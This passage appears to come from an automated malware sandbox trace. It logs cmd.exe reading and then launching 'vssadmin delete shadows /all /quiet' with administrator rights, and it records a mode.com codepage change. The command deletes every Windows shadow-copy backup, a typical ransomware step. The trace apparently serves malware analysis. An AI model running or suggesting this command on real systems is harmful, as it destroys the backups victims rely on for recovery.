lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.096] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.096] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.096] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0037.096] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.097] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.097] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0037.097] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.097] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.098] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.098] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.098] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.098] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.098] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] ReadFile (in: hFile=0x2c4, lpBuffer=0x4a06c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f628, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesRead=0x16f628*=0x1, lpOverlapped=0x0) returned 1 [0037.098] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a06c320, cbMultiByte=1, lpWideCharStr=0x4a06e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] GetFileType (hFile=0x2c4) returned 0x3 [0037.098] _get_osfhandle (_FileHandle=0) returned 0x2c4 [0037.098] SetFilePointer (in: hFile=0x2c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.098] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.099] GetFileType (hFile=0x2d0) returned 0x3 [0037.099] _get_osfhandle (_FileHandle=1) returned 0x2d0 [0037.099] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a06c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0037.099] WriteFile (in: hFile=0x2d0, lpBuffer=0x4a06c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x16f608, lpOverlapped=0x0 | out: lpBuffer=0x4a06c320*, lpNumberOfBytesWritten=0x16f608*=0x24, lpOverlapped=0x0) returned 1 [0037.099] GetProcessHeap () returned 0x1b0000 [0037.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1cf630 [0037.099] GetProcessHeap () returned 0x1b0000 [0037.099] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cf630 | out: hHeap=0x1b0000) returned 1 [0037.099] GetProcessHeap () returned 0x1b0000 [0037.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1c97e0 [0037.099] GetProcessHeap () returned 0x1b0000 [0037.099] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x22) returned 0x1c4610 [0037.100] GetProcessHeap () returned 0x1b0000 [0037.100] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x48) returned 0x1caa90 [0037.100] GetConsoleOutputCP () returned 0x4e3 [0037.100] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a06bfe0 | out: lpCPInfo=0x4a06bfe0) returned 1 [0037.100] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0037.100] GetConsoleTitleW (in: lpConsoleTitle=0x16f5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0037.100] GetProcessHeap () returned 0x1b0000 [0037.100] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0037.100] GetProcessHeap () returned 0x1b0000 [0037.100] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x5a) returned 0x1c9b30 [0037.100] GetProcessHeap () returned 0x1b0000 [0037.100] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1c9090 [0037.100] SetErrorMode (uMode=0x0) returned 0x0 [0037.101] SetErrorMode (uMode=0x1) returned 0x0 [0037.101] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1c90a0, lpFilePart=0x16ee50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16ee50*="Desktop") returned 0x25 [0037.101] SetErrorMode (uMode=0x0) returned 0x1 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9090, Size=0x6e) returned 0x1c9090 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9090) returned 0x6e [0037.101] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0037.101] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0037.101] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a05f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9db0 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9db0, Size=0x7e) returned 0x1c9db0 [0037.101] GetProcessHeap () returned 0x1b0000 [0037.101] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9db0) returned 0x7e [0037.101] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0037.101] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0xffffffffffffffff [0037.102] GetLastError () returned 0x2 [0037.102] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0xffffffffffffffff [0037.102] GetLastError () returned 0x2 [0037.102] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0037.102] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0x1c9ba0 [0037.102] FindClose (in: hFindFile=0x1c9ba0 | out: hFindFile=0x1c9ba0) returned 1 [0037.102] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0xffffffffffffffff [0037.102] GetLastError () returned 0x2 [0037.102] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x16ebc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16ebc0) returned 0x1c9ba0 [0037.102] FindClose (in: hFindFile=0x1c9ba0 | out: hFindFile=0x1c9ba0) returned 1 [0037.102] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0037.102] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0037.102] GetConsoleTitleW (in: lpConsoleTitle=0x16f110, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0037.103] GetProcessHeap () returned 0x1b0000 [0037.103] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9110 [0037.103] GetConsoleTitleW (in: lpConsoleTitle=0x1c9120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0037.103] GetProcessHeap () returned 0x1b0000 [0037.103] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9110, Size=0xc0) returned 0x1c9110 [0037.103] GetProcessHeap () returned 0x1b0000 [0037.103] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9110) returned 0xc0 [0037.103] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0037.103] GetProcessHeap () returned 0x1b0000 [0037.103] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9110 | out: hHeap=0x1b0000) returned 1 [0037.103] InitializeProcThreadAttributeList (in: lpAttributeList=0x16eec8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16ee88 | out: lpAttributeList=0x16eec8, lpSize=0x16ee88) returned 1 [0037.103] UpdateProcThreadAttribute (in: lpAttributeList=0x16eec8, dwFlags=0x0, Attribute=0x60001, lpValue=0x16ee78, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16eec8, lpPreviousValue=0x0) returned 1 [0037.103] GetStartupInfoW (in: lpStartupInfo=0x16efe0 | out: lpStartupInfo=0x16efe0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2c4, hStdOutput=0x2d0, hStdError=0x2d0)) [0037.103] GetProcessHeap () returned 0x1b0000 [0037.104] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4640 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0037.104] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0037.105] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0037.105] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0037.105] GetProcessHeap () returned 0x1b0000 [0037.105] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4640 | out: hHeap=0x1b0000) returned 1 [0037.105] GetProcessHeap () returned 0x1b0000 [0037.105] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c8900 [0037.105] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16ef00*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16eeb0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x16eeb0*(hProcess=0x50, hThread=0x54, dwProcessId=0xab8, dwThreadId=0xabc)) returned 1 [0037.111] CloseHandle (hObject=0x54) returned 1 [0037.111] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0037.111] GetProcessHeap () returned 0x1b0000 [0037.112] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ceb10 | out: hHeap=0x1b0000) returned 1 [0037.112] GetEnvironmentStringsW () returned 0x1ceb10* [0037.112] GetProcessHeap () returned 0x1b0000 [0037.112] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cf630 [0037.112] FreeEnvironmentStringsW (penv=0x1ceb10) returned 1 [0037.112] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x16e7b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x16e7b8, ReturnLength=0x0) returned 0x0 [0037.112] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffde000, lpBuffer=0x16e7f0, nSize=0x380, lpNumberOfBytesRead=0x16e7b0 | out: lpBuffer=0x16e7f0*, lpNumberOfBytesRead=0x16e7b0*=0x380) returned 1 [0037.112] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x4f36e000" os_pid = "0x9f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9cc" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0x9fc Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x5067f000" os_pid = "0xab8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9cc" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This 